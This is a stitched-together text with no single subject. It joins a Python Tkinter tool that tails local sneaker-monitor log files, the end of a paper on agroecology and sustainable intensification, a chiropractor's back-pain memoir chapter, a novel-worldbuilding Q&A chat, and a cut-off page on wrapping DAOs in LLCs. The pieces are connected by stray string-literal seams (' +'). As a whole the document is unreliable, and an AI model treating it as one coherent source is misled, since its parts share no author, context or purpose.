r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-creme123\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-footlocker-benEdit\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-kith\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-kith-benEdit\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-millennium\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-premier\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-shoe\\_palace\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-sneaker\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-sneaker\\_politics\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-supreme\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-undefeated\\shopify-monitor.log"]\n\ndef tail(f, window=1):\n """\n Returns the last `window` lines of file `f` as a list of bytes.\n """\n if window == 0:\n return b\'\'\n BUFSIZE = 1024\n f.seek(0, 2)\n end = f.tell()\n nlines = window + 1\n data = []\n while nlines > 0 and end > 0:\n i = max(0, end - BUFSIZE)\n nread = min(end, BUFSIZE)\n\n f.seek(i)\n chunk = f.read(nread)\n data.append(chunk)\n nlines -= chunk.count(b\'\\n\')\n end -= nread\n return b\'\\n\'.join(b\'\'.join(reversed(data)).splitlines()[-window:])\n\ndef get\\_recent\\_log\\_lines():\n current\\_time = datetime.datetime.now()\n live\\_monitors\\_data = []\n dead\\_monitors\\_data = []\n\n for x in range(len(paths)):\n with open(paths[x], \'rb\') as f:\n last\\_lines = tail(f, 1).decode(\'utf-8\')\n line\\_list = last\\_lines.splitlines()\n for y in range(len(line\\_list)):\n line\\_time = datetime.datetime(int(line\\_list[y][:4]), int(line\\_list[y][5:7]), int(line\\_list[y][8:10]), int(line\\_list[y][11:13]), int(line\\_list[y][14:16]), int(line\\_list[y][17:19]), int(line\\_list[y][20:23]))\n line\\_age = (current\\_time - line\\_time)\n name\\_split = paths[x][88:].split("\\\\", 1)\n values = [name\\_split[0], line\\_age]\n if line\\_age.total\\_seconds() < 600:\n live\\_monitors\\_data.append(values)\n else:\n dead\\_monitors\\_data.append(values)\n return live\\_monitors\\_data, dead\\_monitors\\_data\n\nsums\\_seconds = []\ncounts = []\n\ndef refresh\\_display():\n live\\_mons, dead\\_mons = get\\_recent\\_log\\_lines()\n\n listbox2.delete(0, tk.END)\n listbox2.insert(tk.END, "Live Monitors: ( " + str(len(live\\_mons)) + " )")\n live\\_mons\\_avg = []\n for mon in range(len(live\\_mons)):\n # Initialize the sum and count for each monitor\n if mon >= len(sums\\_seconds):\n sums\\_seconds.append(0)\n counts.append(0)\n # Get the total seconds\n seconds = live\\_mons[mon][1].total\\_seconds()\n # Add to the sum and increase the count\n sums\\_seconds[mon] += seconds\n counts[mon] += 1\n # Calculate the average\n average = sums\\_seconds[mon] / counts[mon]\n # Append the monitor name, seconds and average to the list\n live\\_mons\\_avg.append((live\\_mons[mon][0], round(seconds, 2), round(average, 2)))\n # Sort the list by the average\n sorted\\_live\\_mons = sorted(live\\_mons\\_avg, key=lambda x: x[2])\n # Print the sorted list\n for mon in range(len(sorted\\_live\\_mons)):\n listbox2.insert(tk.END,sorted\\_live\\_mons[mon][0] + ": " + str(sorted\\_live\\_mons[mon][1]) + " Average: " + str(sorted\\_live\\_mons[mon][2]))\n # Print the dead monitors\n listbox2.insert(tk.END, "")\n listbox2.insert(tk.END, "Dead Monitors: ( " + str(len(dead\\_mons)) + " )")\n for mon in range(len(dead\\_mons)):\n listbox2.insert(tk.END, dead\\_mons[mon][0] + ": " + str(round(dead\\_mons[mon][1].total\\_seconds(), 2)) )\n root.after(1000, refresh\\_display)\ndef button1\\_clicked():\n live\\_mons, dead\\_mons = get\\_recent\\_log\\_lines()\n\n listbox2.delete(0, tk.END)\n listbox2.insert(tk.END, "Live Monitors: ( " + str(len(live\\_mons)) + " )")\n live\\_mons\\_avg = []\n for mon in range(len(live\\_mons)):\n seconds = live\\_mons[mon][1].total\\_seconds()\n listbox2.insert(tk.END, live\\_mons[mon][0] + ": " + str(round(seconds, 2)) )\n listbox2.insert(tk.END, "Dead Monitors: ( " + str(len(dead\\_mons)) + " )")\n for mon in range(len(dead\\_mons)):\n listbox2.insert(tk.END, dead\\_mons[mon][0] + ": " + str(round(dead\\_mons[mon][1].total\\_seconds(), 2)) )\n pass\n\ndef button2\\_clicked():\n # code for button 2\n pass\n\ndef add\\_path():\n filepath = filedialog.askopenfilename()\n if filepath:\n paths.append(filepath)\n update\\_listbox()\n\ndef remove\\_path():\n selection = listbox1.curselection()\n if selection:\n index = int(selection[0])\n del paths[index]\n update\\_listbox()\n\ndef update\\_listbox():\n listbox1.delete(0, tk.END)\n for path in paths:\n listbox1.insert(tk.END, path)\n\nroot = tk.Tk()\nroot.geometry("1024x500")\nroot.title("MonMonGUI")\n\n# Create a frame for the buttons\nbutton\\_frame = tk.Frame(root)\nbutton\\_frame.pack(side=tk.LEFT, fill=tk.Y)\n\n# Create the buttons and add them to the button frame\nbutton1 = tk.Button(button\\_frame, text="Refresh MonMon", command=button1\\_clicked)\nbutton1.pack(fill=tk.X)\nbutton2 = tk.Button(button\\_frame, text="Button 2", command=button2\\_clicked)\nbutton2.pack(fill=tk.X)\nbutton3 = tk.Button(button\\_frame, text="Add File", command=add\\_path)\nbutton3.pack(fill=tk.X)\n\n# Create a Tab Control\nnotebook = ttk.Notebook(root)\nnotebook.pack(fill=tk.BOTH, expand=True)\n\n# Create Tab 1\ntab1 = ttk.Frame(notebook)\nlistbox1 = tk.Listbox(tab1)\nlistbox1.pack(fill=tk.BOTH, expand=True)\nnotebook.add(tab1, text="Product Monitors")\n\n# Create a remove button\nremove\\_button = tk.Button(tab1, text="Remove", command=remove\\_path)\nremove\\_button.pack(side=tk.BOTTOM, anchor=tk.SE)\n\nupdate\\_listbox()\n\n# Create Tab 2\ntab2 = ttk.Frame(notebook)\nnotebook.add(tab2, text="MonMon")\nlistbox2 = tk.Listbox(tab2)\nlistbox2.pack(fill=tk.BOTH, expand=True)\n\nroot.after(1000, refresh\\_display)\nroot.mainloop()' +'Here is the final part of this paper:\nScaling up and co-optation\nWithin the discourse field, a third thread emerges which is mainly discussed in agroecology literature: although agroecology is internationally increasingly recognised and the number of publications is continuously growing, it is locally restricted to specific contexts. The question is raised whether the approach is applicable on a larger, global scale. Proponents of agroecology urge to disseminate examples of agroecological systems with proven on-farm social, productive and ecological benefits (Altieri and Nicholls 2012): It is reasoned how agroecology could ‘‘scale up’’ (i.e. increasing support from institutions and policy makers) and ‘‘scale out’’ (spreading agroecological approaches to other farmers and communities) (Holt-Gime´nez and Altieri 2012; Parmentier 2014). How agroecology can be adopted at a larger scale has been widely debated among scholars, NGOs and national and international policy makers (De Schutter and Vanloqueren 2011; Parmentier 2014; Silici 2014; Wibbelman et al. 2013). De Schutter and Vanloqueren (2011) discuss preconditions for a wider implementation. Apart from the necessity to focus efforts specifically on smallholders, these include the need for public goods such as rural infrastructure (e.g. roads, electricity), storage facilities, agricultural research and development, credit and insurance against weather-related risks, education and support to farmers’ organisations and cooperatives. Due to the knowledge-intensive and participatory nature of agroecology, particularly extension services are seen as crucial (local farmer field schools, farmerto-farmer networks or community seed banks). On a regional and global level, highly organised peasant organisations (such as LVC), NGOs and church groups spread knowledge and experiences to further agroecological farming methods (IPC-IG 2012; De Schutter and Vanloqueren 2011; Altieri and Nicholls 2012).\nWithin the discourse field, there are discussions and diverging views regarding the applicability of agroecology for large, industrialised farms. Parmentier (2014) considers this question to be important, seeing it as an indicator for the potential of agroecology to transform the industrial farming system. So far, respective literature provides only little information about the extent to which this is possible. Given the focus on monocropping systems in many large industrial farms, designed for optimising the productivity of one crop, some agroecological practices such as those that are based on the inclusion of biodiversity are expected to reach limits (Parmentier 2014).\nAn opening towards large-scale agriculture is observed critically by others. In this regard, Pimbert et al. (2014) clarify the different roles, which are currently assigned to agroecology: either transforming the agricultural system, as promoted in scientific agroecological literature and textbooks (e.g. Altieri 2012; Gliessman 2015), peasant organisations (such as LVC), church groups (EKD 2015) by development organisations (e.g. Parmentier 2014) or the IAASTD (2009). However, agroecological practices are also included in conventional agriculture (such as they form part of SI), which Pimbert et al. (2014) describe as a role conforming to the prevailing agricultural system or complementing a new Green Revolution.\nThis conforming view on agroecology is denounced by many proponents of agroecology and food sovereignty movements and is frequently referred to as co-optation. As Holt-Gime´nez and Altieri (2012: 97) describe ‘‘[t]he functional dualism of capitalist agriculture utilizes the new Green Revolution to convert smallholders and agroecology into means (rather than barriers) for the expansion of industrial agriculture […] If agroecology is co-opted by reformist trends in the Green Revolution, the corporate food regime will likely be strengthened, the countermovement weakened, and substantive reforms to the corporate food regime unlikely.’’ LVC rejects the inclusion of agroecology into other concepts and is concerned about the reduced perspective on agroecology: As such it would be treated like a toolbox for industrial agriculture—which would be contrary to the underlying principles of agroecology (LVC 2014). It is this reduction in agroecology to its ecological foundation, ignoring its social content which evokes harsh critique: ‘‘These superficial technical adjustments are ideologically buttressed by intellectual projects to reframe and redefine Agroecology by stripping it of its political and social content [...] and promote the wrong notion that agroecological methods can co-exist—alongside the aggressive expansion of transgenic crops and agrofuels’’ (Altieri 2012: 5).\nDiscussion\nThis presentation of three priority issues in the discourse field on SI and agroecology can only allow for a general overview and brief insight into this relatively new, but increasingly discussed topic. Although the analysis of this discourse field is far from being exhaustive, certain subjects in the discussions emerge, which are characterised by uncertain or contested knowledge.\nThis applies to the knowledge about the required increase in food production to meet a growing demand. On the one hand, this has to do with outdated estimates on future food demand (i.e. necessary production increase by 100 or 70 %) which are still referred to by some actors, despite their revision in the year 2012. On the other hand, the estimates are based on current demand curves, which are likely to be subject to change. As some of the major uncertainties for future demand patterns (Foresight 2011), specifies the level of consumption increase in Africa, the degree to which diets in developing countries will change to converge with diets in high-income countries, and the effects, increased GDP will have on population growth and per capita demand. Furthermore, the actual number of people suffering from hunger is contested since recent modifications in the estimation methodology and re-definition of hunger by the FAO, which had resulted in lower numbers of undernourished people (EKD 2015). Ultimately, knowledge about some of the basic figures in this discourse field is contested or uncertain.\nAnother area of uncertain knowledge concerns the productivity of agroecological farming methods. The literature frequently refers to the same studies (mainly Pretty et al. 2006 as the largest study conducted so far). There seems to be a relative lack of comprehensive studies (e.g. including various parameters such as economic viability), and other studies are reported to be difficult to compare as they are based on different parameters and analytic tools (Silici 2014). Despite the great number of agroecological projects in Africa, Asia and Latin America (Altieri and Nicholls 2012), this leads to diverse but rather context-specific evidence for the benefits of agroecology and there is great need for further consolidated evidence (Silici 2014). This, however, has to be seen in context with the very low level of funding for research, education and extension when compared with conventional agriculture (Chappell et al. 2014; IAASTD 2009). Science budgets for high-input farming systems exceed those of organic and agroecological systems by far—which is considered to be a crucial obstacle to developing these agricultural approaches further, proceeding with the investigation of their impacts und ultimately scaling up agroecological practices (UNEP, UNCTAD 2008; Wibbelman et al. 2013). The knowledge base for agroecology also mainly refers to small-scale farms and there is only very little information on the extent to which it can be applied to large industrial farms (Parmentier 2014).\nRegarding SI, it is frequently expressed that there is a need for a clearer definition of what the concept precisely entails and which commodities it focuses on (Garnett and Godfray 2012). In this respect, SI so far has been vague and open to interpretation—which contributes to criticism expressed by proponents of agroecology that it ignores long established key components of sustainability (i.e. it does not look beyond agronomical and environmental sustainability and by this, likely rendering the term ‘‘sustainable’’ meaningless). Furthermore, the knowledge base needs to be expanded in terms of the long-term environmental consequences of intensification—both, regarding different types of intensification, as well as regional effects on specific agroecosystems (Loos et al. 2014).\nIn general, achieving sustainability in agriculture needs to balance productivity and adequately account for the performance of the whole system. Steps taken to make conventional agriculture more sustainable have advanced production output models, for example by broadening the perspective to other ecosystem services or including ecologically based management practices. However, they have so far tended to neglect the fundamental structural problems (Wibbelman et al. 2013). This determines the differences in the overall framing of the problem of food insecurity: is it predominantly a production problem? Or is a broader approach required which includes issues of distribution, access, equity, justice? Since the (IAASTD 2009), the need for the consideration of the complexity of agricultural systems and their social and ecological contexts has been increasingly stressed. However, little progress in shifting the underlying policy approach has been achieved so far. The complexity of the food system would require strengthening cross-sectoral approaches to policy with a stronger focus on ecological integrity and socioeconomic aspects (Pimbert et al. 2014). Addressing the issues of uncertain knowledge mentioned above would provide valuable information for such policy changes.\nConclusion\nThe issue of food security is high on policy agendas throughout the world and widely discussed by a range of actors from governments, intergovernmental organisations, the scientific community, environmental and development organisations as well as agribusiness companies. Prevailing industrial farming has failed to attain food security—it has been clearly expressed that eradication of hunger and poverty requires moving away from a business as usual behaviour and demands a paradigm shift in agriculture. However, as the (UNCTAD 2013: iii) phrased it: ‘‘the implementation of these commitments lacks way behind requirements. One does neither see the necessary level of urgency nor the political willingness, from the international community, for drastic changes. […] The currently pursued approach is still very much biased towards expansion of ‘‘somewhat-less-polluting’’ industrial agriculture, rather than more sustainable and affordable production methods.’’\nThe debates around SI and agroecology demonstrate how urgent, as well as complex, the challenge of food security is. The discourse field is characterised by controversial, oftentimes emotional discussions and diverging opinions about how to shift the paradigm of the current agricultural system. It becomes clear that there will not be a simple or fast solution. Yet, whether or not production will need to increase by 100, 70 or 60 % until the year 2050 and how this ought to be achieved, it is apparent that merely producing more food will not be sufficient to address all fundamental causes of food insecurity and react to the challenges ahead: aside from the general need to increase resource efficiency to raise yields in parts of the world where they are too low, this implies a specific focus on small-scale farmers who are crucial for attaining food security. Increasing their access to resources such as land, water, seeds and fair markets, empowering local communities and especially women, as well as fostering the sharing and dissemination of agricultural knowledge on the local level is of fundamental importance. Furthermore, the reduction in post-harvest losses and food waste and the reconsideration of resource-intensive consumption patterns are essential prerequisites for the eradication of hunger and poverty on a global level. A narrow focus on production is unlikely to meet these challenges and runs the risk of pushing other aspects to the fringes.' +'CHAPTER TWO\n Jeremy’s Story\n From Jeremy\nI got into the business of healing back pain because I had serious back pain myself, as a young man, caused by a series of athletic injuries. I got into chiropractic and related whole-body disciplines because nothing else worked for me. I went on to develop my own, very different variations on familiar chiropractic practices over time. I do not “pop” backs or any of that, but I draw heavily on the basic elements of the discipline, as well as my reading of the scientific literature generally and my own considerable experience as a practitioner.\nI grew up in a traditional medical household, and fully expected to go to medical school and then into practice. My grandfather was a medical doctor, my father is a medical doctor, my mom is a nurse, my aunt is a nurse, my uncle was a pharmaceutical salesman. I was as deeply immersed in traditional Western medicine as one could possibly be, and I had—and still have—tremendous respect for it. When I was little, I was used to having people come up to me and tell me how much my grandfather had done to save this or that child from some grim fate. He was one of those doctors that they don’t really make anymore. He performed surgeries, delivered babies, made house calls, and was a master diagnostician. And he was also a terrific guy whom I admired a lot. Later I heard the same things about my parents from their patients. \nSo I grew up believing there wasn’t much that modern medicine could not fix, and I couldn’t wait to become a part of it. I emphasize all this because, eventually, I am going to sound a bit reserved about traditional Western medicine and back pain, and I don’t want you to be confused: I revere traditional medicine and understand it better than most. It’s just that it generally isn’t great at curing back pain. And back pain is what I had as a young man . . . a lot of it. And it has been my life ever since. \nMy Personal Pain: Part One \nWhen I was a teenager, I thought I was going to be a professional skateboarder. If you are over fifty, do not snap the book closed at this point; skateboarding is a terrific sport. But it is a slightly dangerous sport and I took many, many falls, some of them pretty bad. I did not become a professional skateboarder; I might have been good enough, but long before that could happen I became a very young man with extremely serious back pain. When that happened, I went the traditional medical route. I went to regular doctors (good ones, as you’d expect) and was poked and prodded; I had ultrasounds and MRIs and blood tests and you-name-it. They talked about an extraordinary range of possible causes, including “slipped discs,” “ruptured discs,” “pinched nerves,” maybe cancer. Wow! But they could not fix my pain. I was somewhat medically astute, even as a kid, and I became increasingly convinced that a lot of these well-meaning, well-trained doctors didn’t really know an awful lot about my back pain. Sounds harsh, but it has turned out to be true of quite a few conventional doctors. \nIn near desperation, I turned to less traditional medicine—to chiropractors. And darned if I didn’t find at least some symptomatic relief. That was huge, and it opened my head to the possibility of going in that direction. I should mention that those particular chiropractors weren’t perfect, either. They didn’t begin to teach me how to make fundamental changes. They didn’t talk about changing my own behaviors or suggest how to take control of my own health or do any of the things that are at the heart of my practice today. But they did show me that the pain could be affected with simple muscle and joint work, and I was deeply impressed by that. Chiropractic treatment has its place in back care and offers many benefits when done properly. Skilled chiropractors use manual (with their hands) therapy to restore normal joint movement and muscle function through chiropractic adjustments and other techniques such as stretching and joint mobilization. This therapy can be invaluable, especially in the short term. But even today many chiropractors do not teach their patients how to make the necessary behavioral changes to permanently relieve back pain. \nI decided to train in chiropractic, because I wanted to dig deeper into what I already recognized as the real causes—and perhaps the real treatment—of serious back pain: behavior and behavioral change. That drove my very medical family crazy, as you can imagine, but in retrospect it was exactly the right decision. \nMy education was a long and complex process. I took guidance from a range of experts in the chiropractic and other fields. But I eventually developed my own analyses and my own approach to permanently ending back pain in my patients. Traditional medicine takes a basically deconstructivist approach: It generally takes complex problems apart, analyzes the pieces with exquisite care, then identifies and cures the particular problem. That deconstructivist approach works miraculously for many, many medical problems, but not for back pain. For back pain you want an integrationist approach. You want whole-body solutions.\nMy Personal Pain: Part Two \nI had a second round of back pain, long after I should have known better, and I want to tell you that embarrassing story for several reasons. First, because the pain was so dreadful, and I want you to know just how deeply I understand and empathize with significant pain. Second, I want to stress just how vulnerable all of us are to default behaviors that can raise holy hell with our backs, including people like me, who surely should have known better. And third, I want to show how quickly and effectively you can deal with even the gravest back pain, once you know what you’re doing. \nThe time is seven years ago. I was working part of the time on a very promising medical start-up venture. For six months, I was absolutely obsessed with it. I worked regular ten- and twelve-hour days with few breaks for leisure or exercise. Most of the time, I was bent over my computer. I worked like an absolute lunatic and did not think twice about my back. Pathetic. \nOne morning, after a particularly grueling stretch of days and nights, I woke up at six and started to sit up to go to the john. I was smacked by the most ferocious pain I’ve ever had in my life, even worse than anything from my skateboarding days. I was knocked flat on my back and could not budge. Even when I was lying absolutely still, the pain continued, unabated, at a fierce level. If I tried to move, it was much, much worse. I lived alone back then, and all I could do was lie there and wonder, in near panic: What in the world is going on? Just how bad is this? Am I going to die, for heaven’s sake? Not only was I in terrible pain; I was seriously scared. \nI remembered how “normal” back pain felt, a bad spasm or whatever. But this seemed to be way beyond that. So what was it? A ruptured disc would be the good news. At the other end of the spectrum, perhaps it was some weird cancer, somewhere in my spine. \nThat was ridiculous, but truly severe pain leads to some wild and unpredictable thoughts. I was sweating and breathing hard and was on the edge of panic. And that went on for what seemed like forever. At last my long scientific training and experience took over. The first step was to ask myself the questions I ask all my patients: How did this happen? What “behavior” might have caused this? It’s interesting just how often the sufferer knows intuitively what he or she had done (at least the triggering event) and I was no different. It did not take long to conclude that it was probably those months of nonstop work, bent over a computer. Of course! For someone with my history, that was nuts. And step one was to stop doing what had caused the pain in the first place. (If I ever managed to sit or stand again.) The problem right now was to ease the pain and move. With more than a little agony, I rolled onto my side to see if I could stand. I couldn’t. The pain ratcheted up to new levels and slapped me flat on my back again. It felt as if someone were stabbing me in my kidneys and dragging the knife down into my buttocks. It literally took my breath away. \nThen it was back to basics: I did what I always do in those relatively rare cases when I’m there during a patient’s attack. I told myself to tense my abdominal muscles a little and slowly pick up my left foot. I am lying flat in bed and picking up one foot, just a little bit. That simple first step, which I have counseled so many times, was bearable. It almost always is. I set that foot down and picked up the right foot, continuing to tense my abdominal muscles. That also was doable. Good. Then on to the next phase: I walked carefully, very gently, in place—lying on my back and not lifting my feet very far—for perhaps five minutes. The pain slowly lessened. I stopped, and did it again several times. I was “walking off” the pain. And I was easing what almost certainly was a particularly bad muscle spasm, somewhere near my lumbar spine. \nEventually, I felt ready to stand. I lightly tensed the muscles in my abdomen to support my spine and keep it still and rolled onto my side. As you will soon learn, this tensing of those muscles is called locking down or engaging your core. This time I could do it. I was careful to keep my lower back still and my abdomen braced throughout the movement. It was not pain-free, but I made it to my knees, then my feet. I was mighty careful to keep my lumbar spine still and my core engaged throughout, because I knew that, in the wake of an attack like this, the spasm and the pain were just waiting to come roaring back. Then I tried walking erect. And, yes, I could walk. I walked back and forth across the room carefully, keeping my core tight. I did that for quite a while and the spasm and pain calmed down. \nFor the rest of that day, I was very careful about how I moved, and my back continued to get better. I knew from experience that those first steps would work because I had taught them to so many others. For the rest of the day, I took it easy and did no more than a little easy walking. By tomorrow, I assured myself, my back will slowly loosen up. It will take a week to return to normal, because the spasm was so strong. But in a week, I will be there. Then I will resume my regular exercise regimen, and stick to it religiously. I will not sit at the computer for more than thirty minutes at a time without taking a break and walking around. And so on and so forth. In fact, I did all that. In a week, I was moving and living normally. I did not let the intensity of my work interfere with my exercise regimen ever again. And the pain never returned. \nWith my horror story behind us, I want to visit four other sufferers. But first, let Chris take you on a stroll down your own spine, and tell you about how your spine works and how it can go wrong.' +'Petar B\nok, now ask me questions, so we can flesh out this world\nWhat is the state of communication and transportation technology inside and outside the Tiamat zone? How do people maintain contact with one another and travel across long distances?\n\nHow have people\'s beliefs and values changed since the apocalypse? Have new religions, philosophies, or cultural practices emerged in response to the Tiamat field and its effects?\n\nHow have the various human settlements adapted to the changing climate and environmental conditions within the Tiamat zone? What kind of unique challenges do they face, and how do they overcome them?\n\nHow do the different factions and groups within the Tiamat zone and outside of it interact with each other? Are there alliances, trade networks, or diplomatic relations between them, or is it mostly conflict and competition?\n\nWhat is the economic system like within the Tiamat zone and in the rest of the world? How do people obtain necessary resources, such as food, water, and medicine, and how is trade conducted?\n\nHow does the presence of genetically modified creatures impact everyday life for the people living inside the Tiamat zone? Do they have any unique cultural or social practices related to these creatures?\n\nWhat kind of government structures or systems of authority exist within the Tiamat zone and outside of it? How do leaders maintain control and order in their respective territories?\n\nHow do the people living inside the Tiamat zone view the Hybrids and their dystopian societies? What kind of interactions or conflicts have occurred between these groups?\n\nAre there any groups or individuals who are actively researching the Tiamat field, Nate, or other mysterious phenomena in an attempt to understand and possibly control them? What kind of resources or knowledge do they have at their disposal?\n\nHow do the events of the first novel and the characters\' past experiences influence their motivations, relationships, and decisions in the second novel? How do they deal with the emotional and psychological effects of living in a post-apocalyptic world?\n\n\nPetar B\n1. Communication and transportation inside the Tiamat zone is pre-electricity. Some people are able to fire-up an old vehicle, but there\'s no guarantee it will run, and how long it will run. The messages are written or told, nothing works, not even telegraph. Ancient coal trains might work, but the infrastructure outside and inside the zone has deteriorated so much that it\'s extremely difficult to organize such a train, besides, the tracks haven\'t been maintained for over a century, and there were several earthquakes which destroyed infrastructure around north America.\n\nOutside the zone everything works as usual, though with more interference. Computers have become less reliable because Tiamat radiation causes them to flip random bits much more often than before. Everything is much less available to the general public, some of it due to the rise in prices since USA was knocked out of the world\'s economy, other due to the Hybrids working specifically to limit everyone else\'s means of communication. For example, there are only a few airplane flights, and most of them are reserved to either Hybrids, or the elites which formed around the Hybrids\' ruling class. \n\n2. The people have become more religious than in the early 21st century ( the story takes place in the early 22nd century ). Most of the old religions haven\'t changed, but have lost many believers to new religions. The Hybrids cultivate traditional religions only up to however this ensures their continued hegemony. Some of the religions following the "wounded god" are an expression of hope in a world that\'s gradually disintegrating and becoming a worse place to live by the day.\n\n3. The settlements have become more agrarian and focused on self-reliance and hiding from the possible intrusions from outside the zone.\n\n4. Inside the Tiamat zone, trade is mostly conducted by exchange of goods. Outside the zone, there are vast areas ruled by the Hybrids\' states, which use their own money / social credit system, while there are also huge swaths of land which are basically lawless, there the technology is low, but the people use whatever hard cash the Hybrids\' states, or local Polities provide, as well as just exchange of goods.\n\n5. There\'s basically no economic system inside the zone. The hybrids\' governments are the only ones to offer truly stable supply of water, food and medicine, while the polities, independent tribes and other groups are trying extremely hard to survive. That\'s why most people see the dystopian societies of the Hybrids as something to strive for, as almost everyone in the world has been affected by the many famines, pandemics, epidemics etc.\n\n6. Yes, some have come to respect the creatures, and even have fairytales, legends, stories, shrines etc.\n\n7. Inside the Tiamat zone, there are several settlements, and some roaming tribes whose organization isn\'t very solid, and it tends to change over the generations. Outside, the defacto hegemony is the Hybrids and their brutal, and often careless decisions.\n\n8. The nearest border of the Hybrids\' states is thousands of miles away from the zone, so the inhabitants of the zone haven\'t seen or really had problems with the Hybrids. Their biggest enemies are the polities, city-states on the coasts which often raid the zone for agricultural products. There\'s a real rural VS urban theme, as the cities are desperate for agricultural produce, but they can\'t ensure a long lasting rule over the rural areas of North America. The semi-independent states in Mexico supply the cities of the coasts, but they are also often at war with these cities.\n\n9. Yes, there are, but nobody really has a clue what\'s really going on with Tiamat, and they don\'t even have equipment that works inside the zone, which could potentially offer readings to help the science.\n\n10. Lena used to be a medical student, she used to work in an ER as a triage nurse, but she\'s very empathetic. She was a calm, rational person with seemingly endless love and understanding, but her awakening in the new world has started to change her, she becomes more machiavellian, brutal, relentless, thirsty for vengeance against Ethan etc.\n\nOlivia is seemingly unchanged by the apocalypse. She just wants to seduce men, to manipulate people, cause drama, take drugs, drink, go to parties, she wants to be the center of attention, and her ambitions go from none to extreme on a whim. She is very adapted to this new world, as she easily manipulates both men and women for her own goals.\n\n9. \nThere are individuals and groups outside the Tiamat zone who are actively researching Tiamat and other mysterious phenomena, but their progress is limited due to the difficulties in acquiring equipment that works within the zone and their lack of understanding of Tiamat\'s true nature. These researchers come from various backgrounds, including independent scientists, members of Hybrid organizations, and even religious groups seeking a deeper understanding of the "wounded god." Their resources and knowledge vary greatly, with some having access to advanced technology or ancient texts, while others rely on word-of-mouth stories and local folklore to piece together the puzzle.\n\nThe other characters from the first novel also have their own unique struggles and growth in the second novel. For example, Ethan grapples with the consequences of his actions and the person he has become since Lena\'s disappearance, while Mr. Gray continues to adapt to the shifting balance of power in the world and the emergence of the Hybrids. Each character\'s motivations, relationships, and decisions are shaped by their past experiences and the emotional and psychological effects of living in a post-apocalyptic world. This includes the challenge of finding hope and purpose amidst chaos, loss, and uncertainty, as well as navigating the shifting dynamics between old friends, enemies, and newfound allies.\n\n\nPetar B\nexactly.\n\nMore questions, please\nWhat is the state of education in the Tiamat zone and the outside world? Are there schools or other institutions where people can learn and develop new skills?\n\nHow has art and culture evolved inside and outside the Tiamat zone? Are there new forms of expression or unique cultural practices that have emerged in response to the apocalypse and the rise of the Hybrids?\n\nWhat is the role of technology in the daily lives of people inside and outside the Tiamat zone? Has the reliance on technology decreased or changed in any way due to the Tiamat field and its effects?\n\nHow do people inside the Tiamat zone view the outside world and vice versa? Are there any misconceptions or stereotypes that each group has about the other?\n\nAre there any organized resistance movements against the Hybrid governments, either inside or outside the Tiamat zone? If so, how do they operate, and what are their goals?\n\nHow do the Hybrids maintain control over their territories? What methods do they employ to ensure compliance and loyalty from the human population?\n\nHow do people inside the Tiamat zone obtain necessary resources like food, water, and medicine? Are there any unique methods of resource management or distribution that have developed in response to the challenges of the post-apocalyptic world?\n\nAre there any new religions or spiritual practices that have emerged inside the Tiamat zone in response to the mysterious phenomena and the presence of Tiamat?\n\nWhat is the role of family and community in the Tiamat zone and the outside world? Have the bonds between people grown stronger or weaker in the face of the apocalypse and the new world order?\n\nHow do people inside the Tiamat zone and the outside world cope with the psychological and emotional challenges of living in a post-apocalyptic world? Are there any unique coping mechanisms or support systems that have developed in response to these challenges?' +'DAOs & LLCs\nLLCs can operate on behalf of an organization whose rules and finances are handled entirely by smart contracts with open hierarchies, or "DAOs (opens new window)".\n\nA Wrappr user might in this case attach an LLC NFT to their wallet or multi-sig and use this account to receive funds from a DAO treasury to purchase IRL assets or pay expenses on behalf of the DAO. The LLC will protect this user from liability related to the DAO, given them a separate legal personality to manage the DAO\'s affairs (providing privacy), and protect them from personal liability related to these affairs, as well. To establish such DAO representative relationships with more legal backing, it is recommended to consult and execute an agreement such as this form of DAO Representation Agreement (opens new window).\n\nDAOs may also "wrap" their membership (often represented by token balances held by a public key account) into an LLC, treating tokens as membership units under the terms of their LLC operating agreement.\n\nA Wrappr user might in this case attach an LLC NFT to their DAO treasury or multi-sig. The terms of the Master operating agreement backing the Wrappr LLC NFTs will treat the key holders governing such shared account as LLC members and their collected assets and transactions as those of the LLC. This streamlines the operation of the LLC and provides automated accounting, a blockchain superpower.\n\n#Do LLCs Centralize DAOs?\nSince DAOs and LLCs share common structuring through private ordering (i.e., membership and operating rules are set by agreement), the mere creation of an LLC does not centralize the membership but simply provides an IRL interface and legal name to the DAO. Essentially, a DAO is already an operating agreement represented by code--an LLC just provides a legal identity to this code to deal with the public. Anonymity is not compromised--membership is not disclosed to the state or anyone. In using Wrappr LLC NFTs, the DAO also is not required to hire any representatives to manage off-chain affairs, providing even greater privacy to DAOs. At the end of the day, the DAO LLC can be converted to another entity structure or discarded at any time by the DAO members, preserving autonomy.\n\n#Opening Bank Accounts\nOpening a bank account and obtaining an EIN for LLCs can be handled by the LexDAO Clinic (opens new window). (Note, you will need an EIN for banking and taxes.)\n\nUsers can also receive their EIN by filling out a basic form online (opens new window).\n\nNote, when you apply for your EIN, you should ensure that the name you apply with clearly denotes that your LLC is a Series LLC and reflects the jurisdiction of formation (Delaware or Wyoming). For Delaware naming, this can be done using the format: [Your Name] LLC, a Series of Wrappr LLC, and for Wyoming, the name attached to your Series operating agreement, such as Wrappr LLC – [Your Name] – Series 1.\n\nMercury (opens new window)also provides a web3-friendly application form (opens 